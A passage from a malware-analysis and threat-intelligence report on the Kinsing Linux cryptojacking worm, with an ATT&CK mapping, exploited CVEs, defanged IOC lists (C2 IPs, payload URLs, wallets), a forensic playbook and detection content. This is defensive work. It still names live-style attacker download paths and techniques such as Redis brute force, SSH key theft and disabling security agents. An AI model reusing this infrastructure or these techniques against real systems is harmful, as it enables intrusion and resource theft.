 [5] INSTALLATION           /tmp/.ICEd-unix, kdevtmpfsi, every-minute cron, lock file
 [6] COMMAND & CONTROL      HTTP :80, RSA tasking, /h /get /o /s, backconn, socks
 [7] ACTIONS ON OBJ.        mine Monero; kill rivals & security agents; spread

      ^                                                         |
      +---- WORM LOOP: each new victim becomes a scanner/brute-forcer ---+
PhaseThis caseWhere to break the chain
1 Reconmasscan wrapper, port/rate/target list from C2egress filtering; alert on heavy outbound SYN
2 WeaponizationGo bot, embedded miner and scripts(attacker side) — use the RE results to build signatures
3 Deliverydownloads of spr.sh, cron.sh, al.sh, kinsingblock download-and-run from servers; proxy server egress
4 ExploitationRedis AUTH brute; SSH key reuseRedis not exposed and strong auth; no passphrase-less keys
5 Installationhidden dir, look-alike names, cron, lock fileFIM on /tmp, /var/tmp, crontabs; noexec /tmp
6 C2HTTP :80, odd UA, custom headersIDS on headers and UA; block C2s; beacon detection
7 Actionsmining, killing defenses, spreadingalert on agent or syslog stop; CPU baselines; SSH fan-out alerts
[EDU] What to learn here
  • Defenders only need to break one link, but in a worm the earliest links (exploitation and installation) give the most value, because they also stop the spread.
  • For a finer model you can also use the Unified Kill Chain. The Lockheed model is enough to teach the flow.

《 24. CTI: TTP — MITRE ATT&CK matrix 》

This is the TTP view of the case as a MITRE ATT&CK (Enterprise, Linux) matrix. Each cell is backed by evidence shown in Part I. This is my mapping for study; check it against the current ATT&CK version when you reuse it.

Reconnaissance / Discovery
T1046 Network Service Discovery
masscan wrapper
T1082 System Information Discovery
Arch/Cores/Mem/Os headers
T1018 Remote System Discovery
known_hosts, bash_history, /etc/hosts
Resource Development
T1608.001 Upload Malware
payload on a public code-hosting site and Pastebin
Initial Access / Credential Access
T1110.001 Password Guessing
Redis AUTH brute
T1552.004 Private Keys
id_rsa / *.pem harvesting
Execution
T1059.004 Unix Shell
embedded and downloaded sh scripts, exec
Persistence
T1053.003 Cron
every-minute download-and-run cron entry
Defense Evasion
T1562.001 Disable or Modify Tools
aegis/quartz/YunJing, SELinux, AppArmor
T1562.004 Disable or Modify System Firewall
host firewall disabled, rules flushed
T1070.002 Clear Linux or Mac System Logs
syslog file deleted
T1222.002 Linux File and Directory Permissions Modification
file attributes removed from dirs
T1564.001 Hidden Files and Directories
/tmp/.ICEd-unix
T1036.005 Match Legitimate Name or Location
kdevtmpfsi
T1027 Obfuscated Files or Information
base64+zlib scripts, pkger
T1140 Deobfuscate/Decode Files or Information
runtime decode of scripts
Lateral Movement
T1021.004 SSH
spreader loop with harvested keys
Command and Control
T1071.001 Web Protocols
HTTP :80
T1573.002 Asymmetric Cryptography
RSA tasking
T1090 Proxy
SOCKS5
T1571 Non-Standard Port
backdoor port, stratum on :80
T1105 Ingress Tool Transfer
spr.sh, al.sh, cron.sh, firewire
Impact
T1496 Resource Hijacking
XMRig 5.5.0

In total there are 23 techniques across 9 tactic groups. Notice that Defense Evasion is the largest column: this bot spends more effort on blinding the defender than on anything else.

■ Additional techniques in later builds (a71ad3 / v31)

TechniqueEvidence
T1497.001 Virtualization/Sandbox Evasion: System Checksv31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes)
T1027 Obfuscated Files or Informationv31: C2 address as hex data + rotator; a71ad3: pkger hex-gzip store; Hamlet padding
T1036.005 Match Legitimate Name or Locationv31 miner named <sample>daemon
T1070.004 File Deletionv31: the 9-digit PID temp file is deleted after reading
T1105 Ingress Tool Transferself-update (UpdateCommand) and download_and_exec
[EDU] What to learn here
  • ATT&CK mapping turns a malware report into something a SOC can act on: each cell is a detection or hardening question ("would we see T1053.003 on our servers?").
  • Map from evidence, not from guesses. If you cannot point to the data, leave the technique out.
  • Load the IDs into the ATT&CK Navigator to make a layer you can compare with other campaigns.

《 25. CTI: Targeted vulnerabilities and weaknesses 》

This case did not need a CVE: it abused weak configuration and trust. The kinsing family as a whole, however, is well known for quickly adding new exploits. Both lists matter for defenders.

■ Weaknesses abused in this case (evidence: Part I)

WeaknessHow it is abusedEvidence
Redis without AUTH or with a weak passwordAUTH <guess> brute and an OK checkredisBrute
Passphrase-less SSH private keys and broad trustkeys plus hosts harvested, then ssh with BatchModespreader script
Security agents removable by rootaegis, quartz and YunJing uninstalled; SELinux and AppArmor offspr.sh / al.sh
Writable and executable /tmp and /var/tmppayloads dropped and run from temp dirs/tmp/.ICEd-unix
Unrestricted server egressdownloads and C2 over :80, mining over :80network

■ Vulnerabilities exploited by the family in later or other campaigns (public reporting)

CVE / weaknessProductTypeReported by
Exposed Docker Engine APIDockermisconfiguration → container runRed Canary
Unauthenticated RedisRedismisconfiguration → RCERed Canary, CounterCraft
CVE-2020-11651 / CVE-2020-11652SaltStack Saltauth bypass / RCEIntezer, Red Canary
CVE-2019-19781Citrix ADC / GatewayRCERed Canary, CounterCraft
CVE-2017-9841PHPUnitRCEAqua Nautilus
CVE-2023-4911 (Looney Tunables)glibc ld.solocal privilege escalationAqua Nautilus
CVE-2023-46604Apache ActiveMQRCE (deserialization)Trend Micro
CVE-2023-32315Openfirepath traversal → RCESecurityWeek
CVE-2021-44228 (Log4Shell), Confluence RCELog4j, Atlassian ConfluenceRCEBleepingComputer
CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpdRCE / path traversalCounterCraft

Other reporting also lists targets such as Apache NiFi, Apache Tomcat, Liferay Portal and Oracle WebLogic (The Hacker News). Only sources I could cross-check are listed here; please verify each CVE against your own vulnerability feed before using it for prioritization.

[EDU] What to learn here
  • For a cryptojacking crew the business model is speed and volume: it scans the internet for any known RCE or misconfiguration. Patch latency on internet-facing services is the real risk.
  • Use this list for prioritization: if you run any of these products exposed to the internet, check them first (CISA KEV is a good companion list).

《 26. CTI: IOC triage (enriched) 》

IOC triage means deciding, for each indicator, how reliable it is, whether it is still alive, and what action fits it. Blindly blocking everything causes outages; triage prevents that. The network indicators below are defanged (hxxp, [.]) and enriched with ASN and country from the infrastructure chapter. Sharing level: TLP:CLEAR.

IndicatorTypeRoleSourceConfidenceStatusTriage / recommended action
6bffa50350be7234071814181277ae79MD5kinsing botbinary infoHighstaticEDR/AV hunt; VirusTotal pivot
2cb455f23b352e27b1f2f60abd61b444d15fafb0SHA-1kinsing botbinary infoHighstaticsame as above
a71ad3167f9402d8c5388910862b16aeMD5kinsing version expected by spr.shspr.shMediumstatichunt; the sample itself is not verified in this post
5b439ea84bc00eb74217461d1c64342dMD5kdevtmpfsi miner (XMRig 5.5.0)embedded minerHighstaticEDR/AV hunt
fece7b18f2b763690b617f8649d4f9c8c93f6dc6SHA-1kdevtmpfsi minerembedded minerHighstaticsame as above
45a7ef83238f5244738bb5e7e3dd6299MD5"firewire" scanner expected by masscan()masscanMediumstatichunt; a public tool, so expect hits from benign use too
45[.]10.88[.]102IPv4C2 (HTTP :80)AS48693 NTSERVICE-AS (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
91[.]215.169[.]111IPv4C2 (HTTP :80)AS49693 BEST-HOSTER (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
139[.]99.50[.]255IPv4C2 (HTTP :80)AS16276 OVH (FR)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
46[.]243.253[.]167IPv4C2 (HTTP :80)AS58272 LEADERTELECOMBV-AS (NL)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
195[.]123.220[.]193IPv4C2 (HTTP :80)AS21100 ITLDC-NL (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
217[.]12.221[.]244IPv4script / payload downloadAS15626 ITLAS (UA)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
195[.]3.146[.]118IPv4script / payload downloadAS41390 RN-DATA- (LV)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
45[.]89.230[.]240IPv4mining pool (stratum :80)AS51659 ASBAXET (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
178[.]170.189[.]5IPv4mining pool (stratum :80)AS58272 LEADERTELECOMBV-AS (NL)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
92[.]63.99[.]17IPv4mining pool (stratum :80)AS29182 THEFIRST-AS (RU)Highinactive (author-verified, 2026)retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared)
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsingURLpayload mirrorspr.shHighlikely removedblock the exact URL only, never the whole site (legitimate service)
hxxps://pastebin[.]com/f4fYBPLeURLPatient-0 scriptschemeHighlikely removedblock the exact URL; hunt for paste-site downloads from servers
icanhazip.comdomainpublic IP lookup used by the spreaderspreaderLowlegitimatedo not block; use as a hunting signal from servers
42J8CF9s...S5Kdqh2XMR walletoperator's walletminer IDHigh–clustering / attribution pivot
Chrome/78.0.3904.108 UA + Arch/Cores/Uuid/Version headersnetworkC2 traffic fingerprintprotocolHighfamily-wideIDS/proxy rule (low FP from Linux servers)
/tmp/.ICEd-unix/, /var/lock/linux.lock, kdevtmpfsihostwork dir, lock file, miner11.1Highfamily-wideFIM / EDR / osquery hunt
every-minute cron entry fetching a script and piping it to a shellhostpersistence11.5Highfamily-widecrontab audit on every host

■ IOC additions in v5 (all spotted in the wild attack)

IndicatorTypeRoleConfidenceAction
a71ad3167f9402d8c5388910862b16aeMD5bot build installed by spr.shHighEDR/AV hunt
d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175bSHA-256same bot buildHighVirusTotal / MISP pivot
fa3cf35e7e83175f395a5b6d35fd456dMD5bot v31 "Dev 2066"HighEDR/AV hunt
e7dcf743bd2afa0a3a6165d8cd15c0deMD5v31 dropped miner (companion)Mediumhunt
1692020039cb723c351aa1a6a9b03fdc / 653d25b7839461bcf45ea19ced583785MD5miners embedded in a71ad3 (companions)Highhunt
213[.]32.10[.]148IPv4v31 C2Highretro-hunt; block /32
5[.]23.52[.]131IPv4v31 miner poolMediumretro-hunt
193[.]33.87[.]220IPv4C2 in a71ad3Highretro-hunt; block /32
45[.]153.231[.]180, 95[.]142.40[.]254IPv4download servers (2020-04/05)Mediumretro-hunt
/mg, /ms, /getTURIC2 pathsHighIDS / proxy rule
/tmp/<name>daemon, /var/tmp/.ICEd-unix/, /tmp/.ICEd-unix/[0-9]{9}hostv31 drop and work filesHighFIM / EDR
46V5WXwS3...MuQwAXxLZmTWkbXMR walletoperator wallet (shared with public waves)Highclustering

■ Copy-friendly IOC list (defanged)

# kinsing bot (Go ELF x86-64)
MD5   6bffa50350be7234071814181277ae79
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
# kinsing MD5 expected by spr.sh
MD5   a71ad3167f9402d8c5388910862b16ae
# embedded miner kdevtmpfsi (XMRig 5.5.0)
MD5   5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
# scanner "firewire" MD5 expected by massscan script
MD5   45a7ef83238f5244738bb5e7e3dd6299

# C2 (tcp/80)
45[.]10.88[.]102
91[.]215.169[.]111
139[.]99.50[.]255
46[.]243.253[.]167
195[.]123.220[.]193
# script / payload download
217[.]12.221[.]244
195[.]3.146[.]118
# miner pools
stratum+tcp[:]//45[.]89.230[.]240:80
stratum+tcp[:]//178[.]170.189[.]5:80
stratum+tcp[:]//92[.]63.99[.]17:80

# URLs
hxxp://217[.]12.221[.]244/spr.sh
hxxp://217[.]12.221[.]244/spre.sh
hxxp://217[.]12.221[.]244/al.sh
hxxp://217[.]12.221[.]244/cron.sh
hxxp://217[.]12.221[.]244/kinsing
hxxp://195[.]3.146[.]118/spr.sh
hxxp://195[.]3.146[.]118/unk.sh
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing
hxxps://pastebin[.]com/f4fYBPLe

# host artifacts
/var/lock/linux.lock   (/run/lock/linux.lock)
/tmp/.ICEd-unix/       /tmp/.ICEd-unix/uuid   /tmp/.ICEd-unix/[A-Za-z]{5}
/tmp/kdevtmpfsi
/tmp/kinsing   /var/tmp/kinsing
crontab: every-minute entry fetching spr.sh from 195[.]3.146[.]118 (piped to a shell)
crontab: every-minute entry fetching unk.sh from 195[.]3.146[.]118 (piped to a shell)

# network artifacts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904[.]108 Safari/537.36
HTTP headers: Arch: / Cores: / Mem: / Os: / Osname: / Osversion: / Root: / Uuid: / Version: 28
paths: /s /h /get /hers /mg /o /spre.sh /al.sh /cron.sh /kinsing

# miner wallet
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
[ITW] Artifact spotted in the wild attack
# --- v5 additions (all spotted in the wild attack) ---
MD5    a71ad3167f9402d8c5388910862b16ae   (bot, 16687104 bytes, installed by spr.sh)
SHA256 d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b
MD5    fa3cf35e7e83175f395a5b6d35fd456d   (bot v31 Dev 2066, 16695296 bytes)
MD5    6bffa50350be7234071814181277ae79   (bot v28, 17072128 bytes)
MD5    e7dcf743bd2afa0a3a6165d8cd15c0de   (v31 miner)
MD5    1692020039cb723c351aa1a6a9b03fdc   (a71ad3 embedded miner x)
MD5    653d25b7839461bcf45ea19ced583785   (a71ad3 embedded miner x2)
# C2 / infrastructure
213[.]32.10[.]148:80   (v31 C2)
5[.]23.52[.]131:80     (v31 miner pool)
193[.]33.87[.]220      (C2 in a71ad3)
45[.]153.231[.]180     (download server 2020-04/05)
95[.]142.40[.]254      (download server 2020-04/05)
# paths
/mg /ms /get /getT /hers
/tmp/.ICEd-unix/[0-9]{9}
/var/tmp/.ICEd-unix/
/tmp/<sample>daemon
# wallet
46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
[ITW] All indicators above were spotted in the wild attack
[EDU] What to learn here
  • Rank indicators with the Pyramid of Pain: hashes and IPs are easy for the attacker to change; host artifacts, header fingerprints and TTPs are painful to change, so they make better long-term detections.
  • Never block a legitimate service (paste sites, code hosting, IP-lookup sites) as a whole; block exact URLs and use the rest for hunting.
  • Record the status and date of every IOC. This infrastructure is dead now, so its value is retro-hunting in old logs, not live blocking.
Part III — Defense

《 27. Playbook for IR responders and DFIR 》

This chapter turns the analysis into a step-by-step playbook for incident responders. It covers hot forensics (the machine is still running, so you collect volatile evidence first) and cold forensics (you work on a disk image offline). It uses tools that ship with most Linux distributions (ps, lsof, ss, strace, gdb/gcore, dd, find) plus radare2 for the artifacts.

Golden rule: do not kill the bot first. Killing it destroys the evidence in memory (decrypted C2 tasks, the RSA key, the deleted-but-open work files), and the cron job restarts it within a minute anyway. Collect, freeze, then clean.
IR / DFIR flow for a kinsing-type infection
 [ALERT]  CPU 100% / security agent stopped / syslog gone / odd egress on :80
     |
     v
 [HOT 1] triage    ps, /proc/*/exe, ld.so.preload check     -> find the bot & the miner
 [HOT 2] observe   lsof, ss, strace (short, time-boxed)     -> files, sockets, C2 beacons
 [HOT 3] acquire   /proc copies, gdb/gcore memory dump      -> evidence + SHA-256
 [HOT 4] freeze    SIGSTOP (not SIGKILL), isolate network   -> stop mining & spreading
     |
     v
 [COLD 1] image     snapshot / dd + hash, mount read-only   -> preserved disk
 [COLD 2] timeline  find -printf, cron spool, .ssh, history -> what, when, where to
 [COLD 3] artifacts radare2 on the bot, the core & carvings  -> C2, keys, miner, IOC
     |
     v
 [SCOPE]  every host in known_hosts / ssh config / history -> check them all (worm!)
 [CLEAN]  cron, binaries, work dirs, preload, keys rotated -> then restore & harden
[EDU] What to learn here
  • Follow the order of volatility (RFC 3227): memory and network state first, disk later. A reboot wipes RAM, the /proc view and often /tmp (tmpfs on many systems), which is exactly where this bot lives.
  • Write evidence to external or network storage, never to the suspect disk, and hash every file you collect.

■ Hot forensics 0 — Prepare and do not trust the host blindly

This family has used a user-mode rootkit via library preloading (Trend Micro), and the spr.sh in this case manipulates /etc/ld.so.preload. A preloaded library can hide processes and files from ps and ls, so check it first and prefer statically linked tools (for example a static busybox on your USB or share).

# work from your evidence share, record UTC time and the host identity
mkdir -p /mnt/ir/evidence && cd /mnt/ir/evidence
date -u; hostname; uptime; uname -a
# preload rootkit check (file should normally not exist)
ls -la /etc/ld.so.preload 2>/dev/null && cat /etc/ld.so.preload
env | grep -i LD_PRELOAD
[EDU] What to learn here
  • If /etc/ld.so.preload exists and points to an unknown library, assume the normal tools are lying to you. Use static tools and read /proc directly.

■ Hot forensics 1 — Triage: find the bot and the miner

# top CPU consumers with parent PID and full command line
ps -eo pid,ppid,user,etimes,pcpu,comm,args --sort=-pcpu | head -20
# processes running from temp dirs or from deleted files
ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/|\(deleted\)'
# process tree with arguments
pstree -a
hot #1 - pstree -a (recorded on the test infection)
Output recorded during this analysis. The kinsing line is highlighted: re-forked, detached, a direct child of init.
[EDU] What to learn here
  • A Go bot shows as one process with many threads (5*[{kinsing}]). Count threads with ls /proc/<PID>/task | wc -l.
  • The miner (kdevtmpfsi) is the noisy CPU eater, but the bot (kinsing) is the real target: it holds the C2, the keys and the spreader.

■ Hot forensics 2 — lsof and ss: files, sockets and the backdoor port

lsof -nP -p <PID>                 # everything the bot has open
lsof -nP +L1                      # open files that were already deleted (link count < 1)
lsof -nP -iTCP -sTCP:LISTEN       # listening sockets (look for new high ports)
ss -tanp                          # all TCP sessions with owning process
hot #2 - lsof -nP -p 2721 (recorded on the test infection)
Output recorded during this analysis. Highlighted: the lock file, the backdoor socket in LISTEN and a deleted work file still open.
[EDU] What to learn here
  • In one command you get three IOCs: the lock file (linux.lock), the C2 sessions to tcp/80 and the on-demand backdoor port.
  • The (deleted) file on fd 12 can still be copied from /proc/<PID>/fd/12 while the process lives. Do it now; it is gone after the kill.

■ Hot forensics 3 — /proc copies and a short strace

P=<PID>
cp /proc/$P/exe            ./kinsing_exe.bin          # the running binary, even if deleted on disk
cp /proc/$P/fd/12          ./fd12_deleted.bin         # a deleted-but-open work file (fd number from lsof)
cat /proc/$P/maps          > ./maps.txt               # memory layout (needed for the memory dump)
tr '\0' ' '  < /proc/$P/cmdline > ./cmdline.txt
tr '\0' '\n' < /proc/$P/environ > ./environ.txt
ls -la /proc/$P/fd /proc/$P/cwd > ./fd_cwd.txt
# watch the bot for 2 minutes only: -f follows all Go threads, -s shows long buffers
timeout 120 strace -f -tt -s 1024 -yy -e trace=%network,%process,openat,write -p $P -o ./kinsing.strace
sha256sum ./* > ./SHA256SUMS
hot #3 - strace -f -s 1024 -p 2721 (excerpt recorded on the test infection)
Output recorded during this analysis: the first C2 contact (GET /h) with the victim profile in the headers and the reply.
[EDU] What to learn here
  • Always use -f with Go malware: the network work happens in other threads, and without -f you see almost nothing.
  • Time-box strace (timeout) and do it on an isolated segment if you can: while you watch, the bot is still mining and may try to spread.
  • Only one tracer can attach to a process at a time: finish strace before attaching gdb.

■ Hot forensics 4 — Memory acquisition with gdb / gcore, then freeze

P=<PID>
# full core dump of the bot (gcore ships with gdb)
gcore -o ./kinsing_core $P                 # writes ./kinsing_core.<PID>
# or with gdb directly, keeping the mapping list for later
gdb -q -p $P -batch -ex 'info proc mappings' -ex 'generate-core-file ./kinsing.core' > ./gdb_maps.txt
# Go heap on amd64 lives around 0xc000000000: dump only that range if the full core is too big
gdb -q -p $P -batch -ex 'dump memory ./goheap.bin 0xc000000000 0xc004000000'
# freeze, do not kill: stops mining, beaconing and spreading but keeps memory
kill -STOP $P
sha256sum ./kinsing* ./goheap.bin >> ./SHA256SUMS
hot #4 - gdb / gcore acquisition (commands)
Commands only: the 0xc000... region is the one the memory excerpts in the captured traffic chapter came from.
[EDU] What to learn here
  • All the memory evidence in this post (C2 replies, the decrypted download_and_exec task, the RSA key, the scripts) came from the Go heap at 0xc000000000. Knowing where a runtime keeps its heap makes memory forensics much faster.
  • SIGSTOP instead of SIGKILL: the process stops using CPU and stops talking, but its memory and open files stay available for more collection. Freeze the miner and the bot.
  • gdb needs ptrace permission. If kernel.yama.ptrace_scope blocks it, run as root or temporarily lower the setting, and write that change in your notes.

■ Hot forensics 5 — Persistence and lateral-movement scope

ls -la /var/spool/cron/crontabs/ /var/spool/cron/ /etc/cron.d/ 2>/dev/null
cat /var/spool/cron/crontabs/* /var/spool/cron/* 2>/dev/null        # look for every-minute download jobs
ls -la /tmp/.ICEd-unix/ /var/tmp/ /dev/shm/ /var/lock/linux.lock 2>/dev/null
# where could the spreader have gone? (it reads exactly these files)
cat /root/.ssh/known_hosts /home/*/.ssh/known_hosts 2>/dev/null
grep -h -E 'HostName|IdentityFile' /root/.ssh/config /home/*/.ssh/config 2>/dev/null
grep -h -E '(ssh|scp) ' /root/.bash_history /home/*/.bash_history 2>/dev/null
[EDU] What to learn here
  • The spreader script builds its target list from known_hosts, ssh config, /etc/hosts and bash history. Read the same files and you have the list of hosts to check next. That is how you scope a worm.
  • Outgoing SSH from this host is not logged here; look for the logins on the destination hosts' auth.log / journal.

■ Cold forensics 1 — Image and mount read-only

# cloud: snapshot the volume instead. physical / VM disk:
dd if=/dev/sdX of=/mnt/ir/evidence/disk.img bs=4M conv=noerror,sync status=progress
sha256sum /mnt/ir/evidence/disk.img > /mnt/ir/evidence/disk.img.sha256
# attach and mount read-only (noload: do not replay the ext4 journal)
losetup -f -P -r --show /mnt/ir/evidence/disk.img          # e.g. /dev/loop0
mkdir -p /mnt/case && mount -o ro,noexec,nodev,noload /dev/loop0p1 /mnt/case
[EDU] What to learn here
  • Mount with ro,noexec,nodev and, for ext4, noload; without it, even a read-only mount can write to the image by replaying the journal.
  • /tmp is often tmpfs: the work directory /tmp/.ICEd-unix/ and /tmp/kdevtmpfsi may not exist in the disk image. That is why the hot phase matters.

■ Cold forensics 2 — Timeline and artifacts

# file timeline of the places this bot touches (mtime, owner, mode, size, path)
find /mnt/case/tmp /mnt/case/var/tmp /mnt/case/dev/shm /mnt/case/var/spool/cron /mnt/case/etc/cron.d \
     /mnt/case/root /mnt/case/home -xdev -printf '%TY-%Tm-%Td %TT %u %m %s %p\n' 2>/dev/null | sort > timeline.txt
# key artifacts
ls -la /mnt/case/var/tmp/kinsing /mnt/case/etc/ld.so.preload /mnt/case/var/lock/linux.lock 2>/dev/null
cat /mnt/case/var/spool/cron/crontabs/* 2>/dev/null
ls -la /mnt/case/var/log/                                  # syslog was deleted by spr.sh: check rotated files
journalctl -D /mnt/case/var/log/journal _COMM=crontab --no-pager 2>/dev/null
[EDU] What to learn here
  • The bot deletes /var/log/syslog, but rotated logs, the systemd journal and remote syslog usually survive. This is why central logging matters.
  • Correlate the timeline with the C2 dates in the memory dumps (e.g. Date: Thu, 13 Feb 2020 in the HTTP replies) to bracket the infection window.

■ radare2 on the evidence — aiming at the artifacts

Below are radare2 operations on the collected evidence (the binary copied from /proc/<PID>/exe, the core dump and the carved files). Each screenshot shows the commands; the outputs are the ones recorded in this analysis.

r2 #1 - find the hardcoded C2 list in the bot
The 5 C2 servers packed into one string separated by ;hxxp:// (recorded output, network chapter).
r2 #2 - recover the Go main.* functions
Go keeps function names in .gopclntab even in a stripped binary. Newer radare2 names them sym.main.*, older versions sym.go.main.*.
r2 #3 - carve and identify the embedded miner
Carving the miner and confirming it is XMRig 5.5.0, built Dec 29 2019 (recorded output, embedded miner).
r2 #4 - backdoor config and secrets in memory
Secrets that only exist in memory: the backdoor password/port, the RSA key and decrypted tasks (backdoor chapter).
r2 #5 - the Redis AUTH brute-force logic
pdsf prints only the strings and calls of a function: the fastest way to read what a big Go function does (Redis chapter).
# radare2 cheat sheet used above
r2 -A file        # open and analyze          r2 -n file   # raw mode (dumps)
iI~lang           # language of the binary    afl~main.    # list Go main.* functions
/ string          # search a string           /x 7f454c46  # search hex (ELF header)
px 128 @ hit0_0   # hexdump at a search hit   ps @ addr    # print string at address
pdsf @ sym        # strings+calls summary     axt @ sym    # who calls / references this
wtf out.bin SIZE @ addr                       # write (carve) SIZE bytes from addr to a file
[EDU] What to learn here
  • Aim radare2 at artifacts, not at the whole binary: C2 strings, ELF headers inside dumps, known function names, secrets. Five targeted commands beat hours of scrolling.
  • Use the binary from /proc/<PID>/exe for code analysis, and the core / heap dump for runtime data. The two together give both what the bot can do and what it did.
  • Scan the collected files and the disk image with the YARA rule linked in the detection checklist to confirm the family.

■ radare2 #0 — live memory acquisition actually used in this analysis

This is the recorded radare2 session used on the v31 bot (lab values camouflaged). Attach to the running bot with r2 -d <PID>, list the maps, then write each region to a file:

r2 #0 - dm + wt on the live v31 bot (recorded)
[EDU] What to learn here
  • dm lists the memory maps; seek to a map and write size bytes with wt (wtf in current radare2). Dump the Go heap (0xc000000000, 64M) first.
  • Hash every dump right after writing it, and note the map name and address in your evidence log.

■ Hunting at scale with osquery

-- processes running from temp dirs or from deleted binaries
SELECT pid, name, path, cmdline, parent FROM processes WHERE path LIKE '/tmp/%' OR path LIKE '/var/tmp/%' OR on_disk = 0;
-- kinsing work directory, lock file and drops
SELECT path, size, mtime FROM file WHERE path LIKE '/tmp/.ICEd-unix/%' OR path LIKE '/var/tmp/.ICEd-unix/%' OR path = '/var/lock/linux.lock';
-- listeners opened by temp or deleted binaries (on-demand backdoor)
SELECT p.pid, p.name, l.port FROM listening_ports l JOIN processes p USING (pid) WHERE l.port > 20000 AND (p.path LIKE '/tmp/%' OR p.on_disk = 0);

The full query pack is in the detection content chapter.

■ Containers

docker ps -a --no-trunc            # unknown containers (the family abused open Docker APIs)
docker images --digests            # images pulled by attackers
ss -tlnp | grep -E ':2375|:2376'   # Docker API exposed on TCP?
docker inspect <id> | grep -iE 'cmd|entrypoint|mounts'

■ Tabletop exercise (30 minutes)

TimeInjectExpected decision
T+003:00 alert: CPU 100% on a web serverwho is on call? start triage, do not reboot
T+5the cloud security agent of the host stopped reportingtreat as compromise; open an incident
T+10a process from /tmp talks to an unknown IP on tcp/80 with a Chrome 78 User-Agentcollect memory and /proc, freeze (SIGSTOP)
T+1540 outgoing SSH connections from that host in 5 minutesscope: list known_hosts targets, isolate the segment
T+20a cron entry downloads a script every minuteeradication plan: cron, binaries, keys
T+25management asks: data stolen?answer from evidence: backdoor and SOCKS capability exist, check egress volumes

■ Who does what (RACI)

TaskSOCLinux adminCloud teamIR lead
Triage and memory captureRCIA
Isolate host / security groupCCRA
Remove cron, binaries, work dirsIRIA
Rotate SSH keys fleet-wideIRRA
Detection updates (YARA/Sigma/IDS)RICA
[EDU] What to learn here
  • Practise the playbook before the real night: tabletops reveal missing access, missing tools and unclear ownership.
  • Ownership (RACI) matters as much as commands: in a worm incident the SSH key rotation crosses team boundaries.

■ Contain, eradicate, recover

StepActionWhy
1 Containisolate the host (security group / VLAN); keep it powered while collectingstops spreading and mining without losing RAM
2 Collecthot phase above: /proc copies, strace log, core dump, hashesevidence that disappears on reboot
3 Eradicateremove cron entries for every user, the binaries in /tmp and /var/tmp, the work dir, any ld.so.preload entry; then end the frozen processesremoving only the process is useless while the cron job lives
4 Credentialsrotate every SSH key found on the host and remove its public half from all serversthe spreader already used them
5 Scopecheck every host from known_hosts / ssh config / historyworm-like spread: the next victims are listed there
6 HardenRedis not exposed + AUTH/ACL, Docker API closed, egress filtering, central logging, agent tamper alertsclose the doors this bot used
7 Lessonsupdate detections (YARA, IDS header rule, cron audit) and the IR runbookmake the next response faster
[EDU] What to learn here
  • Rebuilding from a clean image is often safer than cleaning, because this family has used rootkits. If you clean, verify with a fresh boot, static tools and a YARA scan.
  • Document every command you ran on the live host, with UTC time. Your actions change the system, and the report must show which changes were yours.

《 28. Detection and mitigation checklist 》

A short checklist to find and stop this kind of infection, based only on what this analysis shows.

  • Processes: unknown Go binaries under /tmp or /var/tmp; kdevtmpfsi using high CPU; a kinsing child of init.
  • Files: /tmp/.ICEd-unix/, /var/lock/linux.lock, /tmp/kdevtmpfsi, /tmp/kinsing, and deleted-but-open files under /proc/*/fd.
  • Persistence: cron lines that download a script every minute and pipe it to a shell, for every user.
  • Network: HTTP with the Chrome 78 Windows User-Agent from a Linux server, the custom Arch/Cores/Uuid/Version headers, paths /s /h /get /o, stratum traffic on :80, and new high listening ports.
  • Hardening: Redis not exposed and protected by a password or ACL, no passphrase-less SSH keys on servers, a Docker API never open to the internet, and an alert when a security agent or syslog stops.
  • Response: dump the process memory and recover the deleted files first, then remove the cron entries, the binaries and the work directory, then rotate every SSH key the host had.
  • Detection example: use the Yara rule like this example to detect.
[EDU] What to learn here
  • Killing the miner process alone is not cleanup. The cron job brings it back within a minute, and the stolen SSH keys keep the door open to your other servers.

《 29. Detection content: YARA, Sigma, Snort, Suricata, osquery, STIX 》

The signatures below are published as separate files next to this post (GitHub: unixfreaxjp). All of them are based on artifacts spotted in the wild attack and shown in this post. They are released as TLP:CLEAR; test them in your environment before production use.

FileTypeWhat it detects
yara/MMD_Linux_Kinsing_bot_v2.yarYARAbot hashes; bot family (main.* + Go libraries, validated on a71ad3); v31 functions; 2020 C2 builds; embedded XMRig of a71ad3
